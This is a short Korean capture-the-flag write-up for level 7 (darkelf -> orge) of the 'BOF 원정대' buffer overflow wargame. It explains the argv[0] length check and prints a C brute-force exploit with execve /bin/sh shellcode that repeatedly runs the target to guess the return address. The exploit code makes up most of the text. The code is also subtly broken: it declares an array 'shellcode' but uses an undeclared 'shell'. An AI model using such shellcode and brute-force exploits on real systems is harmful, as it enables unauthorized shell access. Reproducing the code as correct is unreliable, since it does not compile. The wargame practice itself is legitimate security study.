[BOF 원정대] darkelf -> orge (level 7)

egg헌터가 있고, argv[0]의 길이가 77이어야 한다.

따라서, 링크를 걸고 링크 파일명을 AAAA.... 로 총 77개로 만들면 된다.

ret주소에는 argv[0]의 주소를 쓰면 되는데, 이전에 사용했던 brute force 소스를 그대로 사용해서 한 번 돌려준다.

brute.c

(주소에서 -1로 값을 줄이는데, 속도가 느리다고 생각한다면 \x90의 개수만큼 주소에서 빼주어도 상관없다. 또한, 최적화도 안되어있음 주의바람)

#include <stdio.h> #include <string.h> unsigned char shellcode[48] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x90\x90\xff\xbf"; int main () { int i, j; unsigned char brute[2]; unsigned char cmd[200]; for ( i=255 ; i>0 ; i-- ) { for ( j=255 ; j>0 ; j-- ) { brute[0]=j; brute[1]=i; memcpy(shell+44, brute, 2); sprintf(cmd, "perl -e 'system \"./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\", \"%s\"'", shell); printf("%x %x %x %x\n", shell[44], shell[45], shell[46], shell[47]); system(cmd); } } }